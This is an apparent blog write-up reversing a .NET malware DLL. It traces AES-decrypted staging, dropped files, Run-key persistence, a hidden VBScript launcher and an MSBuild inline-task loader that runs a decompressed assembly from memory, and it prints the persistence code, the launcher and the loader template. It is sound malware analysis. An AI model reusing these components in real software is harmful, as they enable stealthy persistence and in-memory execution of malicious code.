Post

Reversing C# Malware

Reversing C# Malware

This analysis focuses on a C#/.NET malware sample that hides its next stage inside encrypted and encoded data. The sample uses AES decryption, Base64 decoding, file dropping, registry persistence, and MSBuild execution.

Before jumping into the malware itself, I first mapped out how C# binaries are created and executed.

alt text

C# code does not run directly like native machine code at first. It is compiled into Intermediate Language, then handled by the Common Language Runtime inside the .NET Framework. That is why .NET malware can often be recovered back into readable C# using tools like dnSpy.


Checking the Strings

alt text

The strings already gave a strong hint that this was a .NET binary.

Some important strings found included:

1
2
3
4
5
6
7
8
9
10
11
12
13
mscorlib
.NETFramework,Version=v4.7.2
FrameworkDisplayName
RegistryHive
RegistryView
OpenBaseKey
OpenSubKey
SetValue
AES_Encrypt
AES_Decrypt
bytesToBeEncrypted
passwordBytes
EmbedDLL.dll

mscorlib and the .NET Framework 4.7.2 reference confirm that this sample was built with the .NET Framework.

The registry-related strings were also important because they pointed toward possible persistence behavior. Seeing OpenBaseKey, OpenSubKey, and SetValue usually means the program may be creating or modifying registry keys.

The crypto strings also stood out. AES_Decrypt, AES_Encrypt, passwordBytes, and bytesToBeEncrypted suggested that some payload or configuration data was encrypted inside the binary.


Recovering the C# Code with dnSpy

The next step was loading the malware into dnSpy.

alt text

After opening the sample, the assembly showed up as EmbedDLL. Inside it, there were two important classes:

1
2
Cryptor
Program

The Cryptor class handled AES encryption/decryption, while the Program class contained the main execution logic.

Inside the program, dnSpy recovered a readable version of the C# code.

alt text

The code showed a password string being hashed with SHA256:

1
2
3
byte[] array = SHA256.Create().ComputeHash(
    Encoding.UTF8.GetBytes("p0w3r0verwh31m1ng!")
);

That hash was then used as the AES key to decrypt a long Base64 string.

alt text

The first decrypted output was written into the public user directory as:

1
C:\Users\Public\embed.xml

Another Base64 blob was decoded and written as:

1
C:\Users\Public\Documents\embed.vbs

The malware then created a registry Run key:

1
2
3
4
5
6
RegistryKey.OpenBaseKey(
    RegistryHive.CurrentUser,
    RegistryView.Registry64
)
.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true)
.SetValue("embed", "C:\\Users\\Public\\Documents\\embed.vbs");

This is a persistence technique. Every time the user logs in, Windows checks the Run key and executes the value stored there. In this case, it would run embed.vbs.


Running the DLL

A DLL cannot normally be executed by double-clicking it like a regular .exe. It needs a loader or an exported function to run.

For this sample, rundll32.exe was used:

rundll32.exe Malware.cryptlib64.dll,embed

The function name embed came from the code recovered earlier in dnSpy.

alt text

After execution, the files appeared in the public documents folder, matching what was seen in the source code.

alt text

The registry key was also created under:

1
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

The value added was:

1
2
Name: embed
Data: C:\Users\Public\Documents\embed.vbs

alt text

At this point, the static analysis and runtime behavior matched. The malware decrypted content, wrote files to disk, and added persistence through the registry.


Checking the Dropped Files

Two main files were created:

1
2
embed.vbs
embed.xml

1. embed.vbs

Set oShell = CreateObject ("Wscript.Shell") 
Dim strArgs
strArgs = "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Users\Public\embed.xml"
oShell.Run strArgs, 0, false

This VBScript runs MSBuild.exe and points it to the dropped embed.xml file.

The 0 in oShell.Run strArgs, 0, false means the window is hidden. So the execution happens quietly in the background.

This is where the malware chain becomes more interesting. The DLL does not directly run the final payload. Instead, it drops a VBS file, and that VBS file runs MSBuild.


2. embed.xml

The XML file uses MSBuild project structure:

1
2
3
4
5
6
7
8
9
10
11
12
13
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003" ToolsVersion="4.0">
<Target Name="TargetName">
<TaskName> </TaskName>
</Target>
<UsingTask TaskName="TaskName" TaskFactory="CodeTaskFactory" AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll">
<ParameterGroup/>
<Task>
<Code Type="Fragment" Language="cs">
<![CDATA[
var oms = new System.IO.MemoryStream();
var ds = new System.IO.Compression.DeflateStream(
    new System.IO.MemoryStream(
        System.Convert.FromBase64String(

The body contains a large Base64 blob.

alt text

The tail of the code shows what happens after decoding:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
)), System.IO.Compression.CompressionMode.Decompress);

var by = new byte[1024];
var r = ds.Read(by, 0, 1024);

while (r > 0)
{
    oms.Write(by, 0, r);
    r = ds.Read(by, 0, 1024);
}

System.Reflection.Assembly.Load(oms.ToArray())
    .EntryPoint.Invoke(0, new object[] { new string[]{ } });
]]>
</Code>
</Task>
</UsingTask>
</Project>

This part is important.

The XML is not just a normal project file. It contains C# code inside MSBuild. That code takes a Base64 string, decompresses it using DeflateStream, loads it as a .NET assembly directly from memory, and runs its entry point.

So the execution chain looks like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
DLL execution
    ↓
AES decrypts embedded data
    ↓
Drops embed.vbs and embed.xml
    ↓
Registry Run key creates persistence
    ↓
embed.vbs launches MSBuild.exe
    ↓
MSBuild runs inline C# code from embed.xml
    ↓
Base64 payload is decompressed
    ↓
Payload is loaded in memory using Assembly.Load()

What This Malware Is Doing

This sample uses multiple layers to hide the real payload.

The first layer is the C# DLL. It stores encrypted data and decrypts it during execution.

The second layer is the dropped VBScript. Its job is only to launch MSBuild quietly.

The third layer is the MSBuild XML file. It contains inline C# code that decodes, decompresses, and executes another .NET assembly directly from memory.

This helps the malware avoid looking obvious at first glance. Instead of dropping a normal executable and running it, it abuses trusted Windows components like:

1
2
3
rundll32.exe
wscript.exe
MSBuild.exe

This is a common malware technique called living off the land, where attackers use legitimate Windows tools to execute malicious code.


Indicators Found

1
2
3
4
C:\Users\Public\embed.xml
C:\Users\Public\Documents\embed.vbs
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\embed
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Interesting strings:

1
2
3
4
5
6
7
8
9
10
11
AES_Decrypt
AES_Encrypt
passwordBytes
bytesToBeEncrypted
RegistryHive
RegistryView
OpenBaseKey
OpenSubKey
SetValue
mscorlib
.NETFramework,Version=v4.7.2

Password used for AES key generation:

1
p0w3r0verwh31m1ng!

Final Notes

This sample is a good example of how .NET malware can hide its real behavior behind multiple stages.

At first, it looks like a simple C# DLL. After reversing it, the flow becomes clearer:

1
2
3
4
C# DLL → VBS → MSBuild XML → In-memory .NET payload


The most important parts of this analysis were identifying the .NET framework strings, recovering the C# code in dnSpy, confirming the file drops, checking the registry persistence, and reviewing the MSBuild payload loader.
This post is licensed under CC BY 4.0 by the author.